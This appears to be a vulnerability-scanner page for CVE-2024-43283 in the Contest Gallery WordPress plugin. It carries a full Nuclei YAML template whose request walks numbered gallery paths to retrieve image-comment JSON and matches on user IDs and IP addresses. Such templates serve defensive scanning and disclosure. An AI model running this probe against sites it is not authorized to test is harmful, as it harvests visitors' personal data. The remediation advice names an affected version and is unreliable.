Contest Gallery - Broken Access Control
CVE-2024-43283
Verified
Description
Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.
Severity
Medium
CVSS Score
5.3
Exploit Probability
16%
Published Date
November 30, 2025
Template Author
popcorn94
CVE-2024-43283.yaml
id: CVE-2024-43283
info:
name: Contest Gallery - Broken Access Control
author: popcorn94
severity: medium
description: |
Contest Gallery from n/a through 23.1.2 contains an exposure of sensitive information to an unauthorized actor caused by insufficient access controls, letting attackers access sensitive data, exploit requires no specific conditions.
impact: |
Unauthorized actors can access sensitive information, leading to privacy breaches and potential misuse of data.
remediation: |
Update to the latest version 23.1.2 or later to address the issue.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contest-gallery/contest-gallery-2312-unauthenticated-information-exposure
- https://nvd.nist.gov/vuln/detail/CVE-2024-43283
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-43283
epss-score: 0.156
epss-percentile: 0.94781
cwe-id: CWE-200
metadata:
verified: true
max-request: 1
tags: cve,cve2024,wordpress,wp,wp-plugin,contest-gallery,disclosure,vkev
http:
- raw:
- |
GET /wp-content/uploads/contest-gallery/gallery-id-{{path}}/json/image-comments/image-comments-{{path}}.json HTTP/1.1
Host: {{Hostname}}
payloads:
path: helpers/wordlists/numbers.txt
attack: batteringram
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'WpUserId":'
- 'userIP":'
condition: and
case-insensitive: true
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 490a004630440220584a6affeafd1aa9fbebe60bf3066f7d3b888b73225404408a79ed08a254e36f0220019222bca85da56cac09160c5268e07627bed04f253b9bd693df256fde09f35e:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2024-43283
CWE ID:
cwe-200
Remediation Steps
Update to the latest version 23.1.2 or later to address the issue.